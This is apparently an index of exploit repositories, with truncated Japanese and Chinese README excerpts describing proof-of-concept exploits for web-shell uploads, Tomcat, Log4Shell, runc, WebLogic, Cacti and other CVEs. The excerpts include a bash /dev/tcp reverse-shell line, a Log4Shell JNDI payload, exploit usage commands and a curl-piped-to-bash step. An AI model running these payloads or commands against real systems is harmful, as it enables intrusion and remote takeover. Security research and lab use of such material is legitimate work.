CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 任意ファイルアップロードエクスプロイト CVE-2024-56264 概要 このリポジトリには、WordPress ACF City Selector プラグイン（バージョン = 1.14.0）で見つかった 任意ファイルアップロード 脆弱性である CVE-2024-56264 のエクスプロイトが含まれています。この脆弱性により、攻撃者は脆弱なWordPressインスタンスに 悪意のあるPHPファイル（ウェブシェル） をアップロードし、サーバー上で任意のコマンドを実行できます。 CVE 詳細...

CVE-2019-0232

Apache Tomcat CVE-2019-0232 のエクスプロイト このスクリプトは、Apache Tomcat の CVE-2019-0232 脆弱性を悪用します。この脆弱性により、ism.bat スクリプトの不適切な処理を通じてリモートコード実行が可能になります。スクリプトは certutil と nc.exe（Netcat）を使用したリバースシェル技法を活用し、脆弱なシステムへのリモートアクセスを取得します。 脆弱性の概要: CVE ID : CVE-2019-0232 影響を受ける製品 : Apache Tomcat 6.x、7.x、8.x、9.x 説明 :...

PCmanBoF

PCman FTP Server バッファオーバーフローとリモートコード実行 CVE-2013-4730 PCman の FTP サーバ v.2.0.7 に対する CVE-2013-4730 を使った非常にシンプルなバッファオーバーフローです。 どのように動作するのか? この簡単な BoF がバッファを上書きし、接続し直す（リバースシェル）シェルコードを実行します。 脆弱なマシン: WindowsXP SP3 で PCman の FTP サーバ バージョン 2.0.7 を実行中 起動 $ python3 PCman.py シェルコードを自分用のものに置き換えてください!! $ sudo...

CVE-2025-23942-poc

WP Load Gallery 漏洞利用 CVE-2025-23942 📌 描述 NgocCode WP Load Gallery 中存在危险类型文件无限制上传漏洞，允许向 Web 服务器上传 Web Shell。该漏洞影响 WP Load Gallery 版本：从 n/a 至 2.1.6。 ⚠️ 漏洞详情 CVE ID: CVE-2025-23942 受影响插件: WP Load Gallery 受影响版本: 最高 2.1.6 漏洞类型: 无限制文件上传 严重性: 严重 CVSS 9.1 攻击向量: 已验证用户 作者级+ 远程代码执行 RCE 补丁可用性: ❌ 尚无官方补丁 🚀...

APT-Backpack

APT-バックパック APT、正当なRAT、および敵対者が使用するその他のツールで最もよく使われるCVE CVE's CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 未認証のファイル読み取り CVE-2019-19781 Citrix ADC & Gateway ディレクトリトラバーサル CVE-2020-5902 F5 Big IP RCE CVE-2021-1497 Cisco HyperFlex HX 未認証のコマンドインジェクション CVE-2021-20090 Buffalo WSR-2533DHP2 WSR-2533DHP3...

CVE-2024-4947-PoC

CVE-2024-4947 — V8 Maglev 类型混淆 → 完整 RCE（d8 PoC） 一个针对 CVE-2024-4947 （V8 Maglev 类型混淆）的完整、自包含利用链，从最初的类型混淆触发一直到 任意代码执行 。该 PoC 针对 非沙箱 的 d8 构建运行，并向 stdout 打印 CVE-2024-4947-PWNED 作为代码执行的证明。 ⚠️ 这是一个针对 已修补、公开 漏洞的 研究 / 教育 用途 PoC。 它针对的是 V8 shell（d8 --allow-natives-syntax）的开发构建 — 而非 真实的 Chrome 浏览器。参见 免责声明。...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 の PoC。 このプロジェクトは教育目的のみで作成されました。 エクスプロイトサーバー このプロジェクトは、http サーバーと ldap サーバーの 2 つを作成します。両方ともエクスプロイトが動作するために必要です。指定された Java ファイルがコンパイルされ、Dockerfile 内でサーバーが起動されます。ペイロードはユーザーに表示され、脆弱なアプリケーションに渡す必要があります。 ペイロードの例: $jndi:ldap//127.0.0.1:1389/a 実行方法 バインドシェル ./poc.sh -i...

zaphoxx-coldfusion

zaphoxx-coldfusion https://cvedetails.com/cve/CVE-2009-2265/ に基づく ColdFusion エクスプロイト この特定の CVE のために Python スクリプトを用意した主な理由は、HTB のマシン Arctic を解こうとしたときに、同じ内容の Metasploit バージョンが自分ではうまく動かなかったためです。また、Python の練習を少しできるのも良かったからです。ただし、同じエクスプロイトの別の Python バージョンもあり、これは元々 Alexander Reid...

CVE-2026-52618

CVE-2026-52618 — @webfer/mcp-ansible-drupal: OS command injection via executeDeployment extra vars spawncmd0, cmd.slice1, shell: true re-joins an argument array into a single /bin/sh -c string without escaping, so a shell metacharacter in an extraVars value supplied to the executeDeployment MCP...

CVE-2026-39987.py

CVE-2026-39987.py 这个 Python 脚本利用存在漏洞的 marimo /terminal/ws 端点，并返回一个交互式 shell。 使用方法： 唯一需要修改的是脚本中的 HOST 变量。 更改 HOST 变量后，在终端中执行脚本，如下例所示： 使用示例： python3 CVE-2026-39987.py -- 如果目标存在漏洞，交互式 shell 将启动 -- 有关 CVE-2026-39987 的信息，请打开此链接 - https://nvd.nist.gov/vuln/detail/CVE-2026-39987 注意：如果你尚未安装...

CVE-2020-8816

CVE-2020-8816 CVE-2020-8816を悪用するPythonスクリプトです。Pi-holeのリモートコード実行の脆弱性を利用します。 このスクリプトはFrançois Renaud-Philippon氏が発見した手法を用いて、Webインターフェースがバージョン4.3.3未満のPi-hole上でリモートコード実行を実現します。このエクスプロイトには、www-dataユーザーのパスが/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binである必要があります。 python3...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate 未认证远程代码执行 -red.svg 严重未认证远程代码执行漏洞（CVSS 10.0）— Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 该工具利用 CVE-2026-57811 ，这是 Realtyna Organic IDX + WPL Real Estate WordPress 插件中的一个严重漏洞，允许未认证攻击者 通过一个已弃用的移动 API 端点上传恶意 Web Shell，并以 Web 服务器用户身份执行任意系统命令。...

solrradar

Apache Solr 批量侦察与漏洞利用框架 Velocity 模板注入 → 远程代码执行 📑 目录 漏洞概述 受影响版本 功能特性 安装 使用方法 概念验证 技术深入解析 检测方法论 防御与缓解措施 免责声明 参考资源 🔴 漏洞概述 CVE-2026-44825 是 Apache Solr 中的一个严重级别漏洞，攻击者可通过 Velocity 模板注入实现未认证远程代码执行（RCE） 。 问题所在 Apache Solr 的 /select 端点接受一个 wt=velocity 参数，用于渲染用户提供的 Velocity 模板。当 Velocity Response Writer...

CVE-2017-10271

簡単な説明 コマンド実行とエコーバック シェルを直接アップロード Linux上のWebLogic 10.3.6.0でテスト済み 使い方 python weblogicwlswsatexp.py -t 172.16.80.131:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET weblogic ip and port...

CVE-2022-46196

CVE-2022-46196 Description このPythonコードは、Cacti バージョン 1.2.22 以前における未認証のコマンドインジェクションの脆弱性を悪用します。コマンドラインから引数を解析するためにargparseを、ターゲットのCactiインスタンスのHTMLコンテンツを取得するためにrequestsを、HTMLコンテンツからCactiのバージョン番号を抽出するためにBeautifulSoupを使用します。バージョンが --lhost --lport ここで: CactiインスタンスのURLは、ターゲットのCactiインスタンスのURLです。...

CVE-2026-59310

CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中的 .git...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Commvault の事前認証リモートコード実行の概念実証 技術的詳細については、当社のブログ記事をご覧ください。 動作中の検出 python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

TempRoot-Huawei

TempRoot-Huawei CVE-2019-2215 を介した Huawei 強化カーネル向けの一時 root このコードは P20 Pro CLT-AL00 向けに書かれており、カーネルオフセットはビルドフィンガープリントが 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' のファームウェアから取得されています。 背景 Samsung の KNOX と同様に、Huawei はハッカーによるエクスプロイトを防ぎ「セキュリティ」を向上させるために多くの仕組みを追加しました。...

CVE-2026-24061-lab

CVE-2026-24061 — 再現ラボ ⚠️ 教育目的のみ。隔離されたラボ環境。 フランス語はこちら 概要 GNU InetUtils telnetd ≤ 2.7 における重大な認証バイパス（CVSS 9.8）。 Telnet の NEWENVIRON オプションを介して USER 変数として -f root を注入することで、 認証されていない攻撃者がパスワードなしで root シェルを取得できます。 根本原因 Telnet ネゴシエーション中にクライアントから受信した USER 変数が、 サニタイズなしで直接 /usr/bin/login に渡されます。 /usr/bin/logi...